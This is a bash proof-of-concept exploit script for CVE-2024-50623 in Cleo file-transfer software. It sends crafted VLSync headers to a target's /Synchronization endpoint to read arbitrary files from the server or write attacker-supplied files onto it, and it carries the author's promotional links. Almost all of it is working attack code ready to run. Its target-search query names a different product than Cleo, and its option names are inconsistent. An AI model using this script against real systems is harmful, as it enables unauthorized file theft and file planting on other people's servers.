cve-2024-50623.sh

# CVE-2024-50623 POC - Cleo Unrestricted file upload and download
# FOFA body="packages/partnerlogos/userportal_logo" && title="KACE Systems Management Appliance Service Center"
# Medium https://medium.com/@verylazytech
# Github https://github.com/verylazytech
# My Shop https://buymeacoffee.com/verylazytech/extras
# https://www.verylazytech.com

#!/usr/bin/env bash

banner() {
cat <<'EOF'
  ______     _______   ____   ___ ____  _  _     ____   ___   __  ____  _____ 
 / ___\ \   / / ____| |___ \ / _ \___ \| || |   | ___| / _ \ / /_|___ \|___ / 
| |    \ \ / /|  _|     __) | | | |__) | || |_  |___ \| | | | '_ \ __) | |_ \ 
| |___  \ V / | |___   / __/| |_| / __/|__   _|  ___) | |_| | (_) / __/ ___) |
 \____|  \_/  |_____| |_____\___/_____|  |_|    |____/ \___/ \___/_____|____/ 
                                                                              
__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/                       
                                                                      
                    @VeryLazyTech - Medium
                    
EOF
}

# Call the banner function
banner

set -e

# Function to print usage
usage() {
  echo "Usage: $0 -t <target_url> -a <read|write> -f <file_path> [--w <local_file_to_write>] [--proxy <proxy_url>]"
  exit 1
}

# Parse arguments
while [ $# -gt 0 ]; do
  case "$1" in
    -t)
      TARGET="$2"
      shift
      shift
      ;;
    -a)
      ACTION="$2"
      shift
      shift
      ;;
    -f)
      WHERE="$2"
      shift
      shift
      ;;
    -w)
      WHAT="$2"
      shift
      shift
      ;;
    --proxy)
      PROXY="$2"
      shift
      shift
      ;;
    *)
      usage
      ;;
  esac
done

# Check required arguments
if [ -z "$TARGET" ] || [ -z "$ACTION" ] || [ -z "$WHERE" ]; then
  usage
fi

# Validate URL format
if ! echo "$TARGET" | grep -qE '^https?://'; then
  echo "[ERROR] Invalid URL format for target"
  exit 1
fi

# Validate file existence for write action
if [ "$ACTION" = "write" ] && [ ! -f "$WHAT" ]; then
  echo "[ERROR] File $WHAT does not exist or is not readable"
  exit 1
fi

TARGET=${TARGET%/}  # Remove trailing slash if present

printf "\033[0;32mAttempting to exploit CVE-2024-50623...\033[0m\n"

# Function for logging
log() {
  local level="$1"
  local message="$2"
  echo "[$(date +'%Y-%m-%d %H:%M:%S')] [$level] $message" | tee -a exploit.log
}

# Extract version function
extract_version() {
  curl -s -k ${PROXY:+--proxy "$PROXY"} "$1/Synchronization" | grep -oP 'Server: .*?/\K[^ ]+'
}

read_file() {
  local target_version=$(extract_version "$1")
  local headers="VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=${target_version};a=1337;po=1337;s=True;b=False;pp=1337;path=$2"

  # Fetch the file and log the action
  curl -s -k ${PROXY:+--proxy "$PROXY"} -H "$headers" "$1/Synchronization" | tee -a exploit.log
  log INFO "Reading file: $2"
}


write_file() {
  local target_version=$(extract_version "$1")
  local headers="VLSync: ADD;l=Ab1234-RQ0258;n=VLTrader;v=${target_version};a=1337;po=1337;s=True;b=False;pp=1337;path=$2"

  # Send the file data and log the action
  curl -s -k ${PROXY:+--proxy "$PROXY"} -H "$headers" --data-binary "@$3" "$1/Synchronization" | tee -a exploit.log
  log INFO "Writing file: $2 with data from $3"
}


# Perform actions
case "$ACTION" in
  read)
    log INFO "Action: READ. Target: $TARGET, File: $WHERE"
    read_file "$TARGET" "$WHERE"
    ;;
  write)
    if [[ -z "$WHAT" ]]; then
      log ERROR "--what is required for write action"
      exit 1
    fi
    log INFO "Action: WRITE. Target: $TARGET, File: $WHERE, Data: $WHAT"
    write_file "$TARGET" "$WHERE" "$WHAT"
    ;;
  *)
    log ERROR "Invalid action"
    usage
    ;;
esac

# Output formatting
printf "\n\033[1;33m--- Exploit Complete ---\033[0m\n"